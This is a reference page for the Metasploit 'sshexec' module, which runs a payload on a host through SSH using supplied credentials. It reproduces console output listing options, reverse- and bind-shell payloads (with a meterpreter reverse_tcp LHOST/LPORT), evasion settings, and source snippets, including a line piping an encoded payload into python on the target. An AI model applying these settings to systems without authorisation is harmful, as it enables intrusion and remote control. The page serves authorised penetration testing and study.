SSH User Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/ssh/sshexec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SSH User Code Execution
Module: exploit/multi/ssh/sshexec
Source code: modules/exploits/multi/ssh/sshexec.rb
Disclosure date: 1999-01-01
Last modification time: 2021-11-05 09:43:48 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Python, Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-1999-0502
This module connects to the target system and executes the necessary commands to run the specified payload via SSH. If a native payload is specified, an appropriate stager will be used.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the multi/ssh/sshexec exploit module looks in the msfconsole:
msf6 > use exploit/multi/ssh/sshexec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/ssh/sshexec) > show info
Name: SSH User Code Execution
Module: exploit/multi/ssh/sshexec
Platform: Linux, OSX, Unix, Python, BSD
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 1999-01-01
Provided by:
Spencer McIntyre
Brandon Knight
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Linux x86
1 Linux x64
2 Linux armle
3 Linux mipsle
4 Linux mipsbe
5 Linux aarch64
6 OSX x86
7 OSX x64
8 BSD x86
9 BSD x64
10 Python
11 Unix Cmd
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME root yes The user to authenticate as.
Payload information:
Space: 800000
Avoid: 0 characters
Description:
This module connects to the target system and executes the necessary
commands to run the specified payload via SSH. If a native payload
is specified, an appropriate stager will be used.
References:
https://nvd.nist.gov/vuln/detail/CVE-1999-0502
Module Options
This is a complete list of options available in the multi/ssh/sshexec exploit:
msf6 exploit(multi/ssh/sshexec) > show options
Module options (exploit/multi/ssh/sshexec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME root yes The user to authenticate as.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x86
Advanced Options
Here is a complete list of advanced options supported by the multi/ssh/sshexec exploit:
msf6 exploit(multi/ssh/sshexec) > show advanced
Module advanced options (exploit/multi/ssh/sshexec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, echo, printf, wget, curl)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 10 no Maximum SSH negotiation/authentication time in seconds
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/ssh/sshexec module can exploit:
msf6 exploit(multi/ssh/sshexec) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x86
1 Linux x64
2 Linux armle
3 Linux mipsle
4 Linux mipsbe
5 Linux aarch64
6 OSX x86
7 OSX x64
8 BSD x86
9 BSD x64
10 Python
11 Unix Cmd
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/ssh/sshexec exploit:
msf6 exploit(multi/ssh/sshexec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/adduser normal No Linux Add User
6 payload/linux/x86/chmod normal No Linux Chmod
7 payload/linux/x86/exec normal No Linux Execute Command
8 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
9 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
10 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
11 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
12 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
13 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
14 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
18 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
19 payload/linux/x86/read_file normal No Linux Read File
20 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
21 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
22 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
23 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
24 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
26 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
27 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
30 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
31 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
32 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
33 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the multi/ssh/sshexec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/ssh/sshexec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Timed out while waiting for command to return
Here is a relevant code snippet related to the "Timed out while waiting for command to return" error message:
162: def execute_command(cmd, opts = {})
163: vprint_status("Executing #{cmd}")
164: begin
165: Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }
166: rescue Timeout::Error
167: print_warning('Timed out while waiting for command to return')
168: @timeout = true
169: end
170: end
171:
172: def do_login(ip, user, pass, port)
Disconnected during negotiation
Here is a relevant code snippet related to the "Disconnected during negotiation" error message:
185: opt_hash[:verbose] = :debug if datastore['SSH_DEBUG']
186:
187: begin
188: self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
189: rescue Rex::ConnectionError
190: fail_with(Failure::Unreachable, 'Disconnected during negotiation')
191: rescue Net::SSH::Disconnect, ::EOFError
192: fail_with(Failure::Disconnected, 'Timed out during negotiation')
193: rescue Net::SSH::AuthenticationFailed
194: fail_with(Failure::NoAccess, 'Failed authentication')
195: rescue Net::SSH::Exception => e
Timed out during negotiation
Here is a relevant code snippet related to the "Timed out during negotiation" error message:
187: begin
188: self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
189: rescue Rex::ConnectionError
190: fail_with(Failure::Unreachable, 'Disconnected during negotiation')
191: rescue Net::SSH::Disconnect, ::EOFError
192: fail_with(Failure::Disconnected, 'Timed out during negotiation')
193: rescue Net::SSH::AuthenticationFailed
194: fail_with(Failure::NoAccess, 'Failed authentication')
195: rescue Net::SSH::Exception => e
196: fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
197: end
Failed authentication
Here is a relevant code snippet related to the "Failed authentication" error message:
189: rescue Rex::ConnectionError
190: fail_with(Failure::Unreachable, 'Disconnected during negotiation')
191: rescue Net::SSH::Disconnect, ::EOFError
192: fail_with(Failure::Disconnected, 'Timed out during negotiation')
193: rescue Net::SSH::AuthenticationFailed
194: fail_with(Failure::NoAccess, 'Failed authentication')
195: rescue Net::SSH::Exception => e
196: fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
197: end
198:
199: fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
191: rescue Net::SSH::Disconnect, ::EOFError
192: fail_with(Failure::Disconnected, 'Timed out during negotiation')
193: rescue Net::SSH::AuthenticationFailed
194: fail_with(Failure::NoAccess, 'Failed authentication')
195: rescue Net::SSH::Exception => e
196: fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
197: end
198:
199: fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
200: end
201:
Failed to start SSH socket
Here is a relevant code snippet related to the "Failed to start SSH socket" error message:
194: fail_with(Failure::NoAccess, 'Failed authentication')
195: rescue Net::SSH::Exception => e
196: fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
197: end
198:
199: fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
200: end
201:
202: def binary_exists(binary, platform: nil)
203: Msf::Sessions::CommandShell.binary_exists(binary, platform: platform, &method(:execute_command))
204: end
Python was not found on the target system
Here is a relevant code snippet related to the "Python was not found on the target system" error message:
205:
206: def execute_python
207: python_binary = binary_exists('python', platform: 'unix')
208: python_binary ||= binary_exists('python3', platform: 'unix')
209: python_binary ||= binary_exists('python2', platform: 'unix')
210: fail_with(Failure::NoTarget, 'Python was not found on the target system') if python_binary.nil?
211:
212: execute_command("echo \"#{payload.encoded}\" | #{python_binary}")
213: end
214:
215: def exploit
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Related Pull Requests
- #15358 Merged Pull Request: Fallback to Python3 in sshexec when it's available
- #12025 Merged Pull Request: Fix sshexec hanging on exec! and blocking close
- #11805 Merged Pull Request: Add BSD targets to exploit/multi/ssh/sshexec module
- #10917 Merged Pull Request: Update sshexec to allow unix cmd for testing and other targets not supported
- #10873 Merged Pull Request: Add applicable notes to my exploit modules
- #10456 Merged Pull Request: Remove SSH scanner using known_hosts
- #9267 Merged Pull Request: Add targets to sshexec
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #7018 Merged Pull Request: Un-Vendor the net-ssh library
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5833 Merged Pull Request: Update SSHExec User Code Execution
- #5173 Merged Pull Request: fix fail_with errors
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/telnet/brocade_enable_login
- auxiliary/scanner/db2/db2_auth
- auxiliary/scanner/http/dell_idrac
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/http/http_login
- auxiliary/scanner/http/joomla_bruteforce_login
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/nntp/nntp_login
- auxiliary/scanner/oracle/oracle_login
- auxiliary/scanner/pcanywhere/pcanywhere_login
- auxiliary/scanner/postgres/postgres_login
- auxiliary/scanner/rservices/rexec_login
- auxiliary/scanner/rservices/rlogin_login
- auxiliary/scanner/rservices/rsh_login
- auxiliary/scanner/ssh/ssh_login
- auxiliary/scanner/telnet/telnet_login
- auxiliary/scanner/http/tomcat_mgr_login
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/winrm/winrm_login
- auxiliary/scanner/http/wordpress_xmlrpc_login
Related Nessus plugins:
- MPEi/X Default FTP Accounts
- Netscape Enterprise Default Administrative Password
- Unpassworded 'guest' Account
- Unpassworded 'EZsetup' Account
- Unpassworded 'demos' Account
- Unpassworded '4Dgifts' Account
- Unpassworded 'OutOfBox' Account
- Unpassworded 'root' Account
- Unpassworded 'lp' Account
- Unpassworded 'sync' Account
Authors
- Spencer McIntyre
- Brandon Knight
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
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